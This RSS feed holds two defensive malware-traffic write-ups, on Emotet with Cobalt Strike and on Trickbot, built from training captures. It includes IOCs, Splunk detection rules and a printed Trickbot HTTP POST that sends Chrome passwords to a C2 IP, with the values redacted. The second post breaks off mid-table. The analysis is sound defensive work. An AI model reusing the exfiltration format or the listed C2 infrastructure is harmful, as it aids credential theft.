<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Himanshu Kumar Modi</title>
    <description>The latest articles on DEV Community by Himanshu Kumar Modi (@himanshu_kumarmodi_8646f).</description>
    <link>https://dev.to/himanshu_kumarmodi_8646f</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3661611%2F37c7e117-7547-4d7f-8656-50bc7a30b50c.png</url>
      <title>DEV Community: Himanshu Kumar Modi</title>
      <link>https://dev.to/himanshu_kumarmodi_8646f</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/himanshu_kumarmodi_8646f"/>
    <language>en</language>
    <item>
      <title>Emotet + Cobalt Strike — Dissecting a Multi-Stage Attack in Wireshark</title>
      <dc:creator>Himanshu Kumar Modi</dc:creator>
      <pubDate>Fri, 03 Apr 2026 18:56:19 +0000</pubDate>
      <link>https://dev.to/himanshu_kumarmodi_8646f/emotet-cobalt-strike-dissecting-a-multi-stage-attack-in-wireshark-3nn2</link>
      <guid>https://dev.to/himanshu_kumarmodi_8646f/emotet-cobalt-strike-dissecting-a-multi-stage-attack-in-wireshark-3nn2</guid>
      <description>&lt;p&gt;The TryHackMe Carnage room presents one of the most realistic attack scenarios available for free — a complete Emotet infection chain followed by Cobalt Strike post-exploitation and a malspam campaign generating 1,439 SMTP packets.&lt;/p&gt;

&lt;p&gt;This write-up focuses on three techniques that make the biggest practical difference in real SOC investigations.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Dataset: TryHackMe Carnage room — controlled training environment.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Attack Chain Overview
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Zip email → XLS macro → payload from 3 domains
      ↓
Cobalt Strike C2 (Host header spoofed as Verisign)
      ↓
Post-infection C2 → maldivehost.net
      ↓
IP recon → api.ipify.org (17:00:04 UTC)
      ↓
Malspam → 1,439 SMTP packets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Technique 1 — Hex Inspection for Zip Contents
&lt;/h2&gt;

&lt;p&gt;Filter: HTTP response for &lt;code&gt;documents.zip&lt;/code&gt; → View → Packet Bytes&lt;/p&gt;

&lt;p&gt;Zip central directories are stored at the end of the archive. Checking the hex from the bottom found &lt;code&gt;chart-1530076591.xls&lt;/code&gt; immediately — without downloading or executing anything.&lt;/p&gt;

&lt;p&gt;The 10-digit epoch timestamp filename is a known Emotet naming pattern. Recognizing this from hex alone is a core analyst skill.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;chart-1530076591.xls&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Technique 2 — Time-Bounded TLS SNI Hunting
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;tls.handshake.type == 1&lt;/code&gt; returned 181 Client Hello packets. Too many to check manually.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; Use the infection timestamp as a filter boundary.&lt;/p&gt;

&lt;p&gt;First malicious HTTP: &lt;code&gt;16:44:38 UTC&lt;/code&gt; → narrow TLS filter to &lt;code&gt;16:45:11–16:45:30 UTC&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;181 packets → 5 packets. Each SNI checked on VirusTotal:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;finejewels.com.au&lt;/code&gt; → &lt;strong&gt;malicious&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;thietbiagt.com&lt;/code&gt; → &lt;strong&gt;malicious&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;new.americold.com&lt;/code&gt; → &lt;strong&gt;malicious&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The SNI field in TLS Client Hello is plaintext — you see the destination domain without decrypting anything. Time-bounding with the infection timestamp is what makes this technique practical.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MITRE:&lt;/strong&gt; &lt;code&gt;T1573.001&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Technique 3 — Cobalt Strike Host Header Masquerading
&lt;/h2&gt;

&lt;p&gt;Filter: &lt;code&gt;ip.dst == 185.106.96.158 &amp;amp;&amp;amp; http&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Host: oscp.verisign.com
Actual destination: 185.106.96.158 (Cobalt Strike C2)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Host header claimed Verisign. The actual IP had nothing to do with Verisign.&lt;/p&gt;

&lt;p&gt;Cobalt Strike's malleable C2 profiles allow operators to set any HTTP header to any value — attackers routinely spoof trusted domains (&lt;code&gt;verisign.com&lt;/code&gt;, &lt;code&gt;microsoft.com&lt;/code&gt;, &lt;code&gt;windowsupdate.com&lt;/code&gt;) to blend with enterprise traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Detection:&lt;/strong&gt; Cross-reference Host domain with actual destination IP. Mismatch where Host is a trusted domain but IP is external and flagged = confirmed masquerading.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MITRE:&lt;/strong&gt; &lt;code&gt;T1036&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Technique 4 — SMTP Forensics
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;frame contains "MAIL FROM"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Lesson:&lt;/strong&gt; &lt;code&gt;smtp contains "FROM"&lt;/code&gt; returned wrong results. Always search for the complete field name.&lt;/p&gt;

&lt;p&gt;1,439 SMTP packets from an internal host = machine enrolled in Emotet malspam botnet. The infected machine was sending phishing emails on the attacker's behalf.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MITRE:&lt;/strong&gt; &lt;code&gt;T1071.003&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Cobalt Strike Identification — Full Workflow
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Filter &lt;code&gt;http.request.method == "GET"&lt;/code&gt; → Statistics → Conversations → TCP → sort by frequency&lt;/li&gt;
&lt;li&gt;Note top recurring external IPs&lt;/li&gt;
&lt;li&gt;Check each on VirusTotal → &lt;strong&gt;Community tab&lt;/strong&gt; (not just detection — community notes confirm Cobalt Strike)&lt;/li&gt;
&lt;li&gt;Cross-reference Host header with actual destination IP for masquerading&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;C2 servers:&lt;/strong&gt; &lt;code&gt;185.106.96.158&lt;/code&gt; (survmeter.live), &lt;code&gt;185.125.204.174&lt;/code&gt; (securitybusinpuff.com)&lt;/p&gt;




&lt;h2&gt;
  
  
  IOC Table
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;attirenepal.com&lt;/td&gt;
&lt;td&gt;Initial zip&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;documents.zip → chart-1530076591.xls&lt;/td&gt;
&lt;td&gt;Macro payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;finejewels.com.au&lt;/td&gt;
&lt;td&gt;Secondary payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;thietbiagt.com&lt;/td&gt;
&lt;td&gt;Secondary payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;new.americold.com&lt;/td&gt;
&lt;td&gt;Secondary payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;185.106.96.158&lt;/td&gt;
&lt;td&gt;Cobalt Strike C2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;185.125.204.174&lt;/td&gt;
&lt;td&gt;Cobalt Strike C2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;maldivehost.net&lt;/td&gt;
&lt;td&gt;Post-infection C2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Email&lt;/td&gt;
&lt;td&gt;&lt;a href="mailto:farshin@mailfa.com"&gt;farshin@mailfa.com&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Malspam sender&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  MITRE ATT&amp;amp;CK
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;T1566.001&lt;/td&gt;
&lt;td&gt;Phishing: Spearphishing Attachment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1059.005&lt;/td&gt;
&lt;td&gt;VBA Macro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1105&lt;/td&gt;
&lt;td&gt;Ingress Tool Transfer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1071.001&lt;/td&gt;
&lt;td&gt;Web Protocols&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1573.001&lt;/td&gt;
&lt;td&gt;Encrypted Channel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1036&lt;/td&gt;
&lt;td&gt;Masquerading&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1016&lt;/td&gt;
&lt;td&gt;System Network Config Discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1583&lt;/td&gt;
&lt;td&gt;Acquire Infrastructure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T1071.003&lt;/td&gt;
&lt;td&gt;Mail Protocols&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Detection Rules (Splunk SPL)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Rule 1 — Cobalt Strike Host Header Masquerading
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index=network http.request.method=GET
| where http.host LIKE "%.verisign.com"
    OR http.host LIKE "%.microsoft.com"
    OR http.host LIKE "%.windowsupdate.com"
| eval dest_internal=if(match(dest_ip,"^(10\.|192\.168\.)"),1,0)
| where dest_internal=0
| stats count by src_ip, dest_ip, http.host
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Rule 2 — TLS to Suspicious TLD
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index=network ssl.handshake.type=1
| eval tld=mvindex(split(ssl.handshake.extensions_server_name,"."), -1)
| where tld IN ("live","xyz","top","pw","online","site","club","icu")
| stats count by src_ip, ssl.handshake.extensions_server_name
| sort -count
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Rule 3 — Internal Malspam Detection
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index=network sourcetype=stream:smtp
| stats count as smtp_count by src_ip
| where smtp_count &amp;gt; 50
| join src_ip [search index=network http.request.method=POST
    | stats count by src_ip]
| table src_ip, smtp_count, count
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Three Key Takeaways
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Time-bound your TLS filters.&lt;/strong&gt; The infection timestamp reduces 181 packets to 5. Always know your starting timestamp before filtering TLS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cobalt Strike hides in the Host header.&lt;/strong&gt; Cross-referencing the Host domain with the actual destination IP catches it every time — no threat intel feed required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1,439 SMTP packets means you're already losing.&lt;/strong&gt; The machine is sending phishing on behalf of the attacker. Detecting this early is why malspam volume thresholds matter in SIEM rules.&lt;/p&gt;




&lt;h2&gt;
  
  
  Full Report on GitHub
&lt;/h2&gt;

&lt;p&gt;👉 &lt;a href="https://github.com/himanshumodi3108/cybersec-portfolio" rel="noopener noreferrer"&gt;github.com/himanshumodi3108/cybersec-portfolio&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;TryHackMe Carnage room — controlled training environment.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Himanshu Kumar Modi · Associate at PwC India · SOC Analyst in Training&lt;/em&gt;&lt;br&gt;
&lt;em&gt;&lt;a href="https://www.linkedin.com/in/himanshu-kumar-modi-063b88239" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt; · &lt;a href="https://github.com/himanshumodi3108/cybersec-portfolio" rel="noopener noreferrer"&gt;Cybersecurity Portfolio&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>dfir</category>
      <category>wireshark</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Catching Trickbot in the Act — Live Credential Theft via HTTP POST</title>
      <dc:creator>Himanshu Kumar Modi</dc:creator>
      <pubDate>Mon, 23 Mar 2026 16:50:11 +0000</pubDate>
      <link>https://dev.to/himanshu_kumarmodi_8646f/catching-trickbot-in-the-act-live-credential-theft-via-http-post-dje</link>
      <guid>https://dev.to/himanshu_kumarmodi_8646f/catching-trickbot-in-the-act-live-credential-theft-via-http-post-dje</guid>
      <description>&lt;p&gt;Most malware investigations involve reconstructing what &lt;em&gt;might&lt;/em&gt; have happened. This one was different.&lt;/p&gt;

&lt;p&gt;By following a single HTTP stream in Wireshark, I read stolen credentials in plaintext — Google, Facebook, and Yahoo passwords transmitted to an attacker's server in real time. The entire exfiltration completed in &lt;strong&gt;96 seconds&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Dataset: controlled training exercise from &lt;a href="https://malware-traffic-analysis.net" rel="noopener noreferrer"&gt;malware-traffic-analysis.net&lt;/a&gt; — used widely in the security community for analyst education.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Tools Used
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Wireshark 4.x&lt;/strong&gt; — packet analysis, HTTP stream following&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;VirusTotal&lt;/strong&gt; — IP and domain reputation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MITRE ATT&amp;amp;CK Navigator&lt;/strong&gt; — TTP mapping&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Splunk SPL&lt;/strong&gt; — detection rule development&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Step 1 — Identifying the Victim
&lt;/h2&gt;

&lt;p&gt;Filter: &lt;code&gt;dhcp&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3hrad68hbagwk9t3zqf3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3hrad68hbagwk9t3zqf3.png" alt=" " width="800" height="367"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Hostname&lt;/td&gt;
&lt;td&gt;DESKTOP-CANDLES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;10.11.9.102&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MAC&lt;/td&gt;
&lt;td&gt;00:08:02:1c:47:ae&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OS&lt;/td&gt;
&lt;td&gt;Windows 10 build 19042&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Total packets&lt;/td&gt;
&lt;td&gt;2,502 — highest in capture&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Step 2 — Traffic Overview
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Statistics → Conversations → TCP&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk5fcgo2mdq5rrlr7c2im.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk5fcgo2mdq5rrlr7c2im.png" alt=" " width="800" height="192"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;IP&lt;/th&gt;
&lt;th&gt;Packets&lt;/th&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Red Flag&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;167.86.123.83&lt;/td&gt;
&lt;td&gt;1,484&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;447&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Non-standard port&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;66.85.183.5&lt;/td&gt;
&lt;td&gt;462&lt;/td&gt;
&lt;td&gt;443&lt;/td&gt;
&lt;td&gt;Bare IP, no domain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;51.81.112.135&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;443&lt;/td&gt;
&lt;td&gt;HTTP (not TLS) on port 443&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Step 3 — IP Reconnaissance (Packet 21)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET / HTTP/1.1
Host: icanhazip.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flu6a82g2sk3aj73uo0gf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flu6a82g2sk3aj73uo0gf.png" alt=" " width="800" height="367"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;No user action triggers an IP-check service — only malware does this post-infection. Trickbot uses it to confirm internet connectivity and rule out sandboxes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MITRE:&lt;/strong&gt; &lt;code&gt;T1016&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4 — C2 on Non-Standard Port 447
&lt;/h2&gt;

&lt;p&gt;Filter: &lt;code&gt;tcp.dstport == 447&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn32ap3vop9xyuau9y7be.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn32ap3vop9xyuau9y7be.png" alt=" " width="800" height="369"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Many firewalls only inspect port 443 for HTTPS. Port 447 bypasses those rules while still appearing encrypted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MITRE:&lt;/strong&gt; &lt;code&gt;T1571&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 5 — The Impossible User-Agent
&lt;/h2&gt;

&lt;p&gt;Filter: &lt;code&gt;http.user_agent&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvn68o64ry10mnusl4z3m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvn68o64ry10mnusl4z3m.png" alt=" " width="800" height="368"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0...)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;IE7 on Windows 10 is technically impossible.&lt;/strong&gt; IE7 was released in 2006 and was never made for Windows 10. This is a &lt;strong&gt;zero-false-positive detection signature&lt;/strong&gt; — any log with &lt;code&gt;MSIE 7.0&lt;/code&gt; + &lt;code&gt;Windows NT 10.0&lt;/code&gt; is confirmed malware.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MITRE:&lt;/strong&gt; &lt;code&gt;T1036&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 6 — The Credential Exfiltration
&lt;/h2&gt;

&lt;p&gt;Filter: &lt;code&gt;http.request.method == "POST"&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;At &lt;strong&gt;Packet 1592, 21:33:44 UTC:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /tar2/DESKTOP-CANDLES_W10019042.1C550D7482EBE49086FC1A7D2100C9E5/81/
Host: 51.81.112.135:443
Content-Length: 627
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Right-click → Follow → HTTP Stream:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz9xmlksqkkzg6sjzgyj3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz9xmlksqkkzg6sjzgyj3.png" alt=" " width="800" height="553"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;name="data"
[service URL]|[username]|[password]    ← Google account 1
[service URL]|[username]|[password]    ← Google account 2
[service URL]|[username]|[password]    ← Google account 3
[service URL]|[username]|[password]    ← Facebook account

name="source"
chrome passwords
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Server: HTTP 200 OK&lt;/strong&gt; — all data received.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why HTTP on port 443?
&lt;/h3&gt;

&lt;p&gt;Trickbot uses port 443 for &lt;strong&gt;plain HTTP&lt;/strong&gt; (not TLS). Port 443 is trusted by monitoring tools as "HTTPS = safe." The POST body travels completely unencrypted while the port number hides it in plain sight.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MITRE:&lt;/strong&gt; &lt;code&gt;T1041&lt;/code&gt; &lt;code&gt;T1555.003&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 7 — Decoding the Bot ID
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/tar2/DESKTOP-CANDLES_W10019042.1C550D7482EBE49086FC1A7D2100C9E5/81/
       │              │           │                                 │
       Hostname       OS Build    Hardware fingerprint              Module
                                                              81=passwords
                                                              83=form data
                                                              90=other data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This ID is unique per machine, persistent across reboots, and a high-confidence search term across all log sources.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 8 — Full Exfiltration Timeline
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F92zoj0ufz9op9q5e40jq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F92zoj0ufz9op9q5e40jq.png" alt=" " width="800" height="977"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Packet&lt;/th&gt;
&lt;th&gt;Time (UTC)&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;th&gt;Bytes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;#21&lt;/td&gt;
&lt;td&gt;21:30:01&lt;/td&gt;
&lt;td&gt;GET icanhazip.com&lt;/td&gt;
&lt;td&gt;minimal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#1592&lt;/td&gt;
&lt;td&gt;21:33:44&lt;/td&gt;
&lt;td&gt;POST module 81 — passwords&lt;/td&gt;
&lt;td&gt;627&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#1599&lt;/td&gt;
&lt;td&gt;21:33:44&lt;/td&gt;
&lt;td&gt;HTTP 200 OK ✓&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#1727&lt;/td&gt;
&lt;td&gt;21:34:10&lt;/td&gt;
&lt;td&gt;POST module 90&lt;/td&gt;
&lt;td&gt;120&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#1753&lt;/td&gt;
&lt;td&gt;21:34:15&lt;/td&gt;
&lt;td&gt;POST module 83 — form data&lt;/td&gt;
&lt;td&gt;612&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#2109&lt;/td&gt;
&lt;td&gt;21:34:47&lt;/td&gt;
